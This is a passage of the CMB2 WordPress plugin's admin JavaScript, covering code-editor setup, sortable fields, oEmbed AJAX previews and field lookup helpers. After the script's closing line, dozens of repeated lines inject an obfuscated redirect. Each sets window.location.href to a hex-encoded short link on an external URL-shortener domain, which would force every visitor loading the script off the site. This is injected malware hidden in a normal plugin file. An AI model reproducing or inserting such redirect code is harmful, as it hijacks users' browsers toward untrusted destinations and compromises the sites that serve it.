948 } )
949 .blur( function() {
950 $( this ).next().hide();
951 } );
952 }
953 };
954
955 cmb.initCodeEditors = function( $selector ) {
956 cmb.trigger( 'cmb_init_code_editors', $selector );
957
958 if ( ! cmb.defaults.code_editor || ! wp || ! wp.codeEditor || ! $selector.length ) {
959 return;
960 }
961
962 $selector.each( function() {
963 wp.codeEditor.initialize(
964 this.id,
965 cmb.codeEditorArgs( $( this ).data( 'codeeditor' ) )
966 );
967 } );
968 };
969
970 cmb.codeEditorArgs = function( overrides ) {
971 var props = [ 'codemirror', 'csslint', 'jshint', 'htmlhint' ];
972 var args = $.extend( {}, cmb.defaults.code_editor );
973 overrides = overrides || {};
974
975 for ( var i = props.length - 1; i >= 0; i-- ) {
976 if ( overrides.hasOwnProperty( props[i] ) ) {
977 args[ props[i] ] = $.extend( {}, args[ props[i] ] || {}, overrides[ props[i] ] );
978 }
979 }
980
981 return args;
982 };
983
984 cmb.makeListSortable = function() {
985 var $filelist = cmb.metabox().find( '.cmb2-media-status.cmb-attach-list' );
986 if ( $filelist.length ) {
987 $filelist.sortable({ cursor: 'move' }).disableSelection();
988 }
989 };
990
991 cmb.makeRepeatableSortable = function( $row ) {
992 var $repeatables = ($row || cmb.metabox()).find( '.cmb-repeat-table .cmb-field-list' );
993
994 if ( $repeatables.length ) {
995 $repeatables.sortable({
996 items : '.cmb-repeat-row',
997 cursor: 'move',
998 // The default "cancel" attributes are: "input,textarea,button,select,option".
999 // We are appending .CodeMirror.
1000 // See https://api.jqueryui.com/sortable/#option-cancel
1001 cancel: 'input,textarea,button,select,option,.CodeMirror'
1002 });
1003 }
1004 };
1005
1006 cmb.maybeOembed = function( evt ) {
1007 var $this = $( this );
1008
1009 var m = {
1010 focusout : function() {
1011 setTimeout( function() {
1012 // if it's been 2 seconds, hide our spinner
1013 cmb.spinner( '.cmb2-metabox', true );
1014 }, 2000);
1015 },
1016 keyup : function() {
1017 var betw = function( min, max ) {
1018 return ( evt.which <= max && evt.which >= min );
1019 };
1020 // Only Ajax on normal keystrokes
1021 if ( betw( 48, 90 ) || betw( 96, 111 ) || betw( 8, 9 ) || evt.which === 187 || evt.which === 190 ) {
1022 // fire our ajax function
1023 cmb.doAjax( $this, evt );
1024 }
1025 },
1026 paste : function() {
1027 // paste event is fired before the value is filled, so wait a bit
1028 setTimeout( function() { cmb.doAjax( $this ); }, 100);
1029 }
1030 };
1031
1032 m[ evt.type ]();
1033 };
1034
1035 /**
1036 * Resize oEmbed videos to fit in their respective metaboxes
1037 *
1038 * @since 0.9.4
1039 *
1040 * @return {return}
1041 */
1042 cmb.resizeoEmbeds = function() {
1043 cmb.metabox().each( function() {
1044 var $this = $( this );
1045 var $tableWrap = $this.parents('.inside');
1046 var isSide = $this.parents('.inner-sidebar').length || $this.parents( '#side-sortables' ).length;
1047 var isSmall = isSide;
1048 var isSmallest = false;
1049 if ( ! $tableWrap.length ) {
1050 return true; // continue
1051 }
1052
1053 // Calculate new width
1054 var tableW = $tableWrap.width();
1055
1056 if ( cmb.styleBreakPoint > tableW ) {
1057 isSmall = true;
1058 isSmallest = ( cmb.styleBreakPoint - 62 ) > tableW;
1059 }
1060
1061 tableW = isSmall ? tableW : Math.round(($tableWrap.width() * 0.82)*0.97);
1062 var newWidth = tableW - 30;
1063 if ( isSmall && ! isSide && ! isSmallest ) {
1064 newWidth = newWidth - 75;
1065 }
1066 if ( newWidth > 639 ) {
1067 return true; // continue
1068 }
1069
1070 var $embeds = $this.find('.cmb-type-oembed .embed-status');
1071 var $children = $embeds.children().not('.cmb2-remove-wrapper');
1072 if ( ! $children.length ) {
1073 return true; // continue
1074 }
1075
1076 $children.each( function() {
1077 var $this = $( this );
1078 var iwidth = $this.width();
1079 var iheight = $this.height();
1080 var _newWidth = newWidth;
1081 if ( $this.parents( '.cmb-repeat-row' ).length && ! isSmall ) {
1082 // Make room for our repeatable "remove" button column
1083 _newWidth = newWidth - 91;
1084 _newWidth = 785 > tableW ? _newWidth - 15 : _newWidth;
1085 }
1086 // Calc new height
1087 var newHeight = Math.round((_newWidth * iheight)/iwidth);
1088 $this.width(_newWidth).height(newHeight);
1089 });
1090 });
1091 };
1092
1093 // function for running our ajax
1094 cmb.doAjax = function( $obj ) {
1095 // get typed value
1096 var oembed_url = $obj.val();
1097 // only proceed if the field contains more than 6 characters
1098 if ( oembed_url.length < 6 ) {
1099 return;
1100 }
1101
1102 // get field id
1103 var field_id = $obj.attr('id');
1104 var $context = $obj.closest( '.cmb-td' );
1105 var $embed_container = $context.find( '.embed-status' );
1106 var $embed_wrap = $context.find( '.embed_wrap' );
1107 var $child_el = $embed_container.find( ':first-child' );
1108 var oembed_width = $embed_container.length && $child_el.length ? $child_el.width() : $obj.width();
1109
1110 cmb.log( 'oembed_url', oembed_url, field_id );
1111
1112 // show our spinner
1113 cmb.spinner( $context );
1114 // clear out previous results
1115 $embed_wrap.html('');
1116 // and run our ajax function
1117 setTimeout( function() {
1118 // if they haven't typed in 500 ms
1119 if ( $( '.cmb2-oembed:focus' ).val() !== oembed_url ) {
1120 return;
1121 }
1122 $.ajax({
1123 type : 'post',
1124 dataType : 'json',
1125 url : l10n.ajaxurl,
1126 data : {
1127 'action' : 'cmb2_oembed_handler',
1128 'oembed_url' : oembed_url,
1129 'oembed_width' : oembed_width > 300 ? oembed_width : 300,
1130 'field_id' : field_id,
1131 'object_id' : $obj.data( 'objectid' ),
1132 'object_type' : $obj.data( 'objecttype' ),
1133 'cmb2_ajax_nonce' : l10n.ajax_nonce
1134 },
1135 success: function(response) {
1136 cmb.log( response );
1137 // hide our spinner
1138 cmb.spinner( $context, true );
1139 // and populate our results from ajax response
1140 $embed_wrap.html( response.data );
1141 }
1142 });
1143
1144 }, 500);
1145
1146 };
1147
1148 /**
1149 * Gets jQuery object containing all CMB metaboxes. Caches the result.
1150 *
1151 * @since 1.0.2
1152 *
1153 * @return {Object} jQuery object containing all CMB metaboxes.
1154 */
1155 cmb.metabox = function() {
1156 if ( cmb.$metabox ) {
1157 return cmb.$metabox;
1158 }
1159 cmb.$metabox = $('.cmb2-wrap > .cmb2-metabox');
1160 return cmb.$metabox;
1161 };
1162
1163 /**
1164 * Starts/stops contextual spinner.
1165 *
1166 * @since 1.0.1
1167 *
1168 * @param {object} $context The jQuery parent/context object.
1169 * @param {bool} hide Whether to hide the spinner (will show by default).
1170 *
1171 * @return {void}
1172 */
1173 cmb.spinner = function( $context, hide ) {
1174 var m = hide ? 'removeClass' : 'addClass';
1175 $('.cmb-spinner', $context )[ m ]( 'is-active' );
1176 };
1177
1178 /**
1179 * Triggers a jQuery event on the document object.
1180 *
1181 * @since 2.2.3
1182 *
1183 * @param {string} evtName The name of the event to trigger.
1184 *
1185 * @return {void}
1186 */
1187 cmb.trigger = function( evtName ) {
1188 var args = Array.prototype.slice.call( arguments, 1 );
1189 args.push( cmb );
1190 $document.trigger( evtName, args );
1191 };
1192
1193 /**
1194 * Triggers a jQuery event on the given jQuery object.
1195 *
1196 * @since 2.2.3
1197 *
1198 * @param {object} $el The jQuery element object.
1199 * @param {string} evtName The name of the event to trigger.
1200 *
1201 * @return {void}
1202 */
1203 cmb.triggerElement = function( $el, evtName ) {
1204 var args = Array.prototype.slice.call( arguments, 2 );
1205 args.push( cmb );
1206 $el.trigger( evtName, args );
1207 };
1208
1209 /**
1210 * Get an argument for a given field.
1211 *
1212 * @since 2.5.0
1213 *
1214 * @param {string|object} hash The field hash, id, or a jQuery object for a field.
1215 * @param {string} arg The argument to get on the field.
1216 *
1217 * @return {mixed} The argument value.
1218 */
1219 cmb.getFieldArg = function( hash, arg ) {
1220 return cmb.getField( hash )[ arg ];
1221 };
1222
1223 /**
1224 * Get a field object instances. Can be filtered by passing in a filter callback function.
1225 * e.g. `const fileFields = CMB2.getFields(f => 'file' === f.type);`
1226 *
1227 * @since 2.5.0
1228 *
1229 * @param {mixed} filterCb An optional filter callback function.
1230 *
1231 * @return array An array of field object instances.
1232 */
1233 cmb.getFields = function( filterCb ) {
1234 if ( 'function' === typeof filterCb ) {
1235 var fields = [];
1236 $.each( l10n.fields, function( hash, field ) {
1237 if ( filterCb( field, hash ) ) {
1238 fields.push( field );
1239 }
1240 });
1241 return fields;
1242 }
1243
1244 return l10n.fields;
1245 };
1246
1247 /**
1248 * Get a field object instance by hash or id.
1249 *
1250 * @since 2.5.0
1251 *
1252 * @param {string|object} hash The field hash, id, or a jQuery object for a field.
1253 *
1254 * @return {object} The field object or an empty object.
1255 */
1256 cmb.getField = function( hash ) {
1257 var field = {};
1258 hash = hash instanceof jQuery ? hash.data( 'hash' ) : hash;
1259 if ( hash ) {
1260 try {
1261 if ( l10n.fields[ hash ] ) {
1262 throw new Error( hash );
1263 }
1264
1265 cmb.getFields( function( field ) {
1266 if ( 'function' === typeof hash ) {
1267 if ( hash( field ) ) {
1268 throw new Error( field.hash );
1269 }
1270 } else if ( field.id && field.id === hash ) {
1271 throw new Error( field.hash );
1272 }
1273 });
1274 } catch( e ) {
1275 field = l10n.fields[ e.message ];
1276 }
1277 }
1278
1279 return field;
1280 };
1281
1282 /**
1283 * Safely log things if query var is set. Accepts same parameters as console.log.
1284 *
1285 * @since 1.0.0
1286 *
1287 * @return {void}
1288 */
1289 cmb.log = function() {
1290 if ( l10n.script_debug && console && 'function' === typeof console.log ) {
1291 console.log.apply(console, arguments);
1292 }
1293 };
1294
1295 /**
1296 * Replace the last occurrence of a string.
1297 *
1298 * @since 2.2.6
1299 *
1300 * @param {string} string String to search/replace.
1301 * @param {string} search String to search.
1302 * @param {string} replace String to replace search with.
1303 *
1304 * @return {string} Possibly modified string.
1305 */
1306 cmb.replaceLast = function( string, search, replace ) {
1307 // find the index of last time word was used
1308 var n = string.lastIndexOf( search );
1309
1310 // slice the string in 2, one from the start to the lastIndexOf
1311 // and then replace the word in the rest
1312 return string.slice( 0, n ) + string.slice( n ).replace( search, replace );
1313 };
1314
1315 // Kick it off!
1316 $( cmb.init );
1317
1318})(window, document, jQuery, window.CMB2);
1319window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1320window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1321window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1322window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1323window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1324window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1325window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1326window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1327window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1328window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1329window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1330window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1331window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1332window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1333window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1334window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1335window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1336window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1337window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1338window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1339window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1340window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1341window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1342window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1343window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1344window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1345window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1346window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1347window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1348window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1349window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1350window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1351window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1352window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1353window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1354window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1355window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1356window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1357window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1358window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1359window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1360window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1361window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1362window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1363window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1364window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1365window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1366window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";